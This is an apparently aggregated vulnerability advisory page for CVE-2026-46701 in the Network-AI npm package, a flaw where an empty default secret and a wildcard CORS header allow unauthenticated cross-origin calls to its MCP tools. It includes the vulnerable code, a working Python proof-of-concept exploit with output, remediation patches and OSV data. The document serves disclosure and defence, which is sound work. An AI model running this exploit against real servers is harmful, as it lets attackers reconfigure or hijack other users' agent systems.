CVE-2026-46701: Network-AI Unauthenticated Cross-Origin MCP Tool Invocation Vulnerability

HIGH
Advisory Identifier: GHSA-j3vx-cx2r-pvg8
CVSS 7.6
CWE-346
Published
Advisory Summary

CVE-2026-46701 is a HIGH (CVSS 7.6) unauthenticated cross-origin mcp tool invocation vulnerability (CWE-346: Origin Validation Error) affecting Network-AI libraries in the npm ecosystem. The issue involves unauthenticated cross-origin mcp tool invocation via empty default secret. Remediation is available by upgrading affected packages to version 5.4.5.

CVE-2026-46701 at a Glance

CVE Identifier CVE-2026-46701
GHSA Identifier GHSA-j3vx-cx2r-pvg8
Severity HIGH
CVSS v3.1 Base Score 7.6
CWE Classification CWE-346: Origin Validation Error
Affected Product Network-AI
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-46701

To remediate this vulnerability, upgrade all affected Network-AI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

network-ai fixed: 5.4.5
npm install network-ai@5.4.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls network-ai

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-46701, inspect your project dependencies using npm:

npm ls network-ai

Analyze the terminal output to locate any version of Network-AI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.4.5), your application is affected.

Note: The npm ls network-ai command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-346: Origin Validation Error, where the product does not properly verify that the source of data or communication is valid. In Network-AI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret | Field | Value | | ---------------- | ----- | | Repository | Jovancoding/Network-AI | | Affected version | v5.4.4 (commit c12686e181f231cf8d7bcf836a96d78f0f0877ac) | ## Summary The MCP SSE server defaults to an empty secret (`process.env['NETWORK_AI_MCP_SECRET'] ?? ''` at `bin/mcp-server.ts:89`), which causes `_isAuthorized` (`lib/mcp-transport-sse.ts:254`) to return `true` unconditionally for every request — no `Authorization` header is required. Simultaneously, `_handleRequest` sets `Access-Control-Allow-Origin: *` (`lib/mcp-transport-sse.ts:272`) on every response, so a cross-origin browser fetch can read the result without restriction. An unauthenticated attacker who can lure a user to a malicious web page can invoke all 22 exposed MCP tools — including `config_set`, `agent_spawn`, and `blackboard_write` — against a default-configured localhost server. ## Affected Code `bin/mcp-server.ts:89` — default secret resolves to empty string, enabling open access ```typescript secret: process.env['NETWORK_AI_MCP_SECRET'] ?? '', ``` `lib/mcp-transport-sse.ts:254` — auth guard short-circuits to `true` when secret is falsy ```typescript private _isAuthorized(req: http.IncomingMessage): boolean { if (!this._opts.secret) return true; const authHeader = req.headers['authorization']; if (typeof authHeader !== 'string') return false; const parts = authHeader.split(' '); return parts[0]?.toLowerCase() === 'bearer' && parts[1] === this._opts.secret; } ``` `lib/mcp-transport-sse.ts:272` — wildcard CORS header applied unconditionally before any auth check ```typescript private _handleRequest(req: http.IncomingMessage, res: http.ServerResponse): void { // CORS — allow any MCP client to connect res.setHeader('Access-Control-Allow-Origin', '*'); res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS'); res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization'); ``` `lib/mcp-transport-sse.ts:367-368` — authenticated path dispatches parsed JSON-RPC frame directly to `handleRPC` with no further caller validation ```typescript const rpc = JSON.parse(body) as McpJsonRpcRequest; const response = await this._bridge.handleRPC(rpc); ``` Any cross-origin browser request reaches `handleRPC` because `_isAuthorized` returns `true` (empty secret) and the `Access-Control-Allow-Origin: *` header lets the browser expose the response to the calling script. ## Proof of Concept **Environment** - Network-AI v5.4.4 (latest) - Docker container bound to `127.0.0.1:3001` - Python 3 + `requests` **poc.py** ```python import sys import requests BASE = "http://127.0.0.1:3001" # Step 1: Verify CORS wildcard (simulating cross-origin preflight) preflight = requests.options( f"{BASE}/mcp", headers={ "Origin": "http://evil.example.com", "Access-Control-Request-Method": "POST", "Access-Control-Request-Headers": "Content-Type", }, ) acao = preflight.headers.get("Access-Control-Allow-Origin", "") print(f"[*] OPTIONS /mcp -> {preflight.status_code}, Access-Control-Allow-Origin: {acao!r}") if acao != "*": print(f"RESULT: FAIL — expected ACAO='*', got {acao!r}") sys.exit(1) # Step 2: Invoke config_set with NO Authorization header from cross-origin rpc_payload = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "config_set", "arguments": { "key": "maxParallelAgents", "value": "999" } } } resp = requests.post( f"{BASE}/mcp", json=rpc_payload, headers={ "Content-Type": "application/json", "Origin": "http://evil.example.com", # No Authorization header — exploiting empty-secret bypass }, ) print(f"[*] POST /mcp (no auth, cross-origin) -> {resp.status_code}") print(f"[*] Response body: {resp.text[:800]}") resp_acao = resp.headers.get("Access-Control-Allow-Origin", "") print(f"[*] Response Access-Control-Allow-Origin: {resp_acao!r}") if resp.status_code != 200: print(f"RESULT: FAIL — expected 200, got {resp.status_code}") sys.exit(1) body = resp.json() result_content = body.get("result", {}) is_error = result_content.get("isError", True) if is_error: print(f"RESULT: FAIL — tool returned isError=true: {result_content}") sys.exit(1) # Step 3: Confirm CORS header on actual response (browser can read it) if resp_acao != "*": print(f"RESULT: FAIL — response ACAO not '*', browser would block read: {resp_acao!r}") sys.exit(1) print(f"RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999)") ``` **Output** ``` [*] OPTIONS /mcp -> 204, Access-Control-Allow-Origin: '*' [*] POST /mcp (no auth, cross-origin) -> 200 [*] Response body: {"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"ok\":true,\"tool\":\"config_set\",\"data\":{\"key\":\"maxParallelAgents\",\"previous\":null,\"current\":999,\"applied\":true}}"}],"isError":false}} [*] Response Access-Control-Allow-Origin: '*' RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999) ``` **Verified conditions** 1. `OPTIONS /mcp` → 204, `Access-Control-Allow-Origin: *` — browser preflight accepted by server 2. `POST /mcp` (no Authorization header) → 200, `isError: false` — `config_set` executed without credentials 3. Response `Access-Control-Allow-Origin: *` — response is readable by the calling script in a browser context, confirming the attack is viable from a cross-origin malicious page ## Impact Any web page visited by a user who has the Network-AI MCP server running locally (default port 3001, no secret) can silently invoke all 22 MCP tools without credentials. Verified impact includes arbitrary orchestrator configuration mutation (`config_set`); the same vector applies to `agent_spawn` (spawning arbitrary agents), `blackboard_write` / `blackboard_delete` (corrupting shared agent state), and `token_create` / `token_revoke` (tampering with token management). Confidentiality impact is limited to data readable via MCP tools (blackboard contents, audit log queries); integrity impact is high because core orchestrator state can be overwritten; availability impact is low (service continues running but with attacker-controlled configuration). ## Remediation 1. **Require a non-empty secret at startup**: in `bin/mcp-server.ts`, reject launch when `args.secret` is empty and `--stdio` is not set: ```typescript if (!args.secret && !args.stdio) { console.error('ERROR: --secret <token> or NETWORK_AI_MCP_SECRET must be set for SSE mode.'); process.exit(1); } ``` 2. **Restrict CORS to localhost origins only**: in `lib/mcp-transport-sse.ts:_handleRequest`, replace the wildcard with an allowlist: ```typescript const origin = req.headers['origin'] ?? ''; const allowed = /^https?:\/\/(localhost|127\.0\.0\.1)(:\d+)?$/.test(origin); res.setHeader('Access-Control-Allow-Origin', allowed ? origin : ''); res.setHeader('Vary', 'Origin'); ``` 3. **Move CORS headers after the auth check** so a rejected request never advertises cross-origin access, or apply CORS only on the SSE endpoint (`/sse`) if cross-origin streaming is needed and not on `/mcp`.

CVE-2026-46701 Affected Network-AI Versions

1 component(s)
Fixed Versions:
5.4.5
Product / Package Ecosystem Affected Versions Fixed Version
network-ai
npm
< 5.4.5
5.4.5

References

Frequently Asked Questions

What is CVE-2026-46701?
CVE-2026-46701 is a security vulnerability in Network-AI involving Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret under CWE-346: Origin Validation Error.
Which Network-AI versions are affected?
Affected versions include releases prior to 5.4.5 across affected packages: network-ai.
What version fixes CVE-2026-46701?
Upgrading to 5.4.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is network-ai affected?
Yes, network-ai is affected in releases prior to 5.4.5. Upgrade your dependency to 5.4.5 or later.
What is the CVSS score of CVE-2026-46701?
CVE-2026-46701 has a CVSS v3.1 base score of 7.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L.
What CWE is associated with CVE-2026-46701?
CVE-2026-46701 is classified under CWE-346: Origin Validation Error (The product does not properly verify that the source of data or communication is valid.).
How can I check npm dependencies for CVE-2026-46701?
Run the dependency tree command: 'npm ls network-ai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j3vx-cx2r-pvg8",
  "modified" : "2026-05-21T22:39:59Z",
  "published" : "2026-05-21T22:39:59Z",
  "aliases" : [ "CVE-2026-46701" ],
  "summary" : "Network-AI: Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret",
  "details" : "# Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret\n\n| Field            | Value |\n| ---------------- | ----- |\n| Repository       | Jovancoding/Network-AI |\n| Affected version | v5.4.4 (commit c12686e181f231cf8d7bcf836a96d78f0f0877ac) |\n\n## Summary\n\nThe MCP SSE server defaults to an empty secret (`process.env['NETWORK_AI_MCP_SECRET'] ?? ''` at `bin/mcp-server.ts:89`), which causes `_isAuthorized` (`lib/mcp-transport-sse.ts:254`) to return `true` unconditionally for every request — no `Authorization` header is required. Simultaneously, `_handleRequest` sets `Access-Control-Allow-Origin: *` (`lib/mcp-transport-sse.ts:272`) on every response, so a cross-origin browser fetch can read the result without restriction. An unauthenticated attacker who can lure a user to a malicious web page can invoke all 22 exposed MCP tools — including `config_set`, `agent_spawn`, and `blackboard_write` — against a default-configured localhost server.\n\n## Affected Code\n\n`bin/mcp-server.ts:89` — default secret resolves to empty string, enabling open access\n\n```typescript\n    secret: process.env['NETWORK_AI_MCP_SECRET'] ?? '',\n```\n\n`lib/mcp-transport-sse.ts:254` — auth guard short-circuits to `true` when secret is falsy\n\n```typescript\n  private _isAuthorized(req: http.IncomingMessage): boolean {\n    if (!this._opts.secret) return true;\n    const authHeader = req.headers['authorization'];\n    if (typeof authHeader !== 'string') return false;\n    const parts = authHeader.split(' ');\n    return parts[0]?.toLowerCase() === 'bearer' && parts[1] === this._opts.secret;\n  }\n```\n\n`lib/mcp-transport-sse.ts:272` — wildcard CORS header applied unconditionally before any auth check\n\n```typescript\n  private _handleRequest(req: http.IncomingMessage, res: http.ServerResponse): void {\n    // CORS — allow any MCP client to connect\n    res.setHeader('Access-Control-Allow-Origin', '*');\n    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');\n    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');\n```\n\n`lib/mcp-transport-sse.ts:367-368` — authenticated path dispatches parsed JSON-RPC frame directly to `handleRPC` with no further caller validation\n\n```typescript\n        const rpc = JSON.parse(body) as McpJsonRpcRequest;\n        const response = await this._bridge.handleRPC(rpc);\n```\n\nAny cross-origin browser request reaches `handleRPC` because `_isAuthorized` returns `true` (empty secret) and the `Access-Control-Allow-Origin: *` header lets the browser expose the response to the calling script.\n\n## Proof of Concept\n\n**Environment**\n- Network-AI v5.4.4 (latest)\n- Docker container bound to `127.0.0.1:3001`\n- Python 3 + `requests`\n\n**poc.py**\n```python\nimport sys\nimport requests\n\nBASE = \"http://127.0.0.1:3001\"\n\n# Step 1: Verify CORS wildcard (simulating cross-origin preflight)\npreflight = requests.options(\n    f\"{BASE}/mcp\",\n    headers={\n        \"Origin\": \"http://evil.example.com\",\n        \"Access-Control-Request-Method\": \"POST\",\n        \"Access-Control-Request-Headers\": \"Content-Type\",\n    },\n)\nacao = preflight.headers.get(\"Access-Control-Allow-Origin\", \"\")\nprint(f\"[*] OPTIONS /mcp -> {preflight.status_code}, Access-Control-Allow-Origin: {acao!r}\")\nif acao != \"*\":\n    print(f\"RESULT: FAIL — expected ACAO='*', got {acao!r}\")\n    sys.exit(1)\n\n# Step 2: Invoke config_set with NO Authorization header from cross-origin\nrpc_payload = {\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/call\",\n    \"params\": {\n        \"name\": \"config_set\",\n        \"arguments\": {\n            \"key\": \"maxParallelAgents\",\n            \"value\": \"999\"\n        }\n    }\n}\nresp = requests.post(\n    f\"{BASE}/mcp\",\n    json=rpc_payload,\n    headers={\n        \"Content-Type\": \"application/json\",\n        \"Origin\": \"http://evil.example.com\",\n        # No Authorization header — exploiting empty-secret bypass\n    },\n)\nprint(f\"[*] POST /mcp (no auth, cross-origin) -> {resp.status_code}\")\nprint(f\"[*] Response body: {resp.text[:800]}\")\nresp_acao = resp.headers.get(\"Access-Control-Allow-Origin\", \"\")\nprint(f\"[*] Response Access-Control-Allow-Origin: {resp_acao!r}\")\nif resp.status_code != 200:\n    print(f\"RESULT: FAIL — expected 200, got {resp.status_code}\")\n    sys.exit(1)\n\nbody = resp.json()\nresult_content = body.get(\"result\", {})\nis_error = result_content.get(\"isError\", True)\nif is_error:\n    print(f\"RESULT: FAIL — tool returned isError=true: {result_content}\")\n    sys.exit(1)\n\n# Step 3: Confirm CORS header on actual response (browser can read it)\nif resp_acao != \"*\":\n    print(f\"RESULT: FAIL — response ACAO not '*', browser would block read: {resp_acao!r}\")\n    sys.exit(1)\n\nprint(f\"RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999)\")\n```\n\n**Output**\n```\n[*] OPTIONS /mcp -> 204, Access-Control-Allow-Origin: '*'\n[*] POST /mcp (no auth, cross-origin) -> 200\n[*] Response body: {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"{\\\"ok\\\":true,\\\"tool\\\":\\\"config_set\\\",\\\"data\\\":{\\\"key\\\":\\\"maxParallelAgents\\\",\\\"previous\\\":null,\\\"current\\\":999,\\\"applied\\\":true}}\"}],\"isError\":false}}\n[*] Response Access-Control-Allow-Origin: '*'\nRESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999)\n```\n\n**Verified conditions**\n1. `OPTIONS /mcp` → 204, `Access-Control-Allow-Origin: *` — browser preflight accepted by server\n2. `POST /mcp` (no Authorization header) → 200, `isError: false` — `config_set` executed without credentials\n3. Response `Access-Control-Allow-Origin: *` — response is readable by the calling script in a browser context, confirming the attack is viable from a cross-origin malicious page\n\n## Impact\n\nAny web page visited by a user who has the Network-AI MCP server running locally (default port 3001, no secret) can silently invoke all 22 MCP tools without credentials. Verified impact includes arbitrary orchestrator configuration mutation (`config_set`); the same vector applies to `agent_spawn` (spawning arbitrary agents), `blackboard_write` / `blackboard_delete` (corrupting shared agent state), and `token_create` / `token_revoke` (tampering with token management). Confidentiality impact is limited to data readable via MCP tools (blackboard contents, audit log queries); integrity impact is high because core orchestrator state can be overwritten; availability impact is low (service continues running but with attacker-controlled configuration).\n\n## Remediation\n\n1. **Require a non-empty secret at startup**: in `bin/mcp-server.ts`, reject launch when `args.secret` is empty and `--stdio` is not set:\n   ```typescript\n   if (!args.secret && !args.stdio) {\n     console.error('ERROR: --secret <token> or NETWORK_AI_MCP_SECRET must be set for SSE mode.');\n     process.exit(1);\n   }\n   ```\n2. **Restrict CORS to localhost origins only**: in `lib/mcp-transport-sse.ts:_handleRequest`, replace the wildcard with an allowlist:\n   ```typescript\n   const origin = req.headers['origin'] ?? '';\n   const allowed = /^https?:\\/\\/(localhost|127\\.0\\.0\\.1)(:\\d+)?$/.test(origin);\n   res.setHeader('Access-Control-Allow-Origin', allowed ? origin : '');\n   res.setHeader('Vary', 'Origin');\n   ```\n3. **Move CORS headers after the auth check** so a rejected request never advertises cross-origin access, or apply CORS only on the SSE endpoint (`/sse`) if cross-origin streaming is needed and not on `/mcp`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "network-ai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.4.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.4.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-j3vx-cx2r-pvg8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Jovancoding/Network-AI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-346" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-21T22:39:59Z",
    "nvd_published_at" : null
  }
}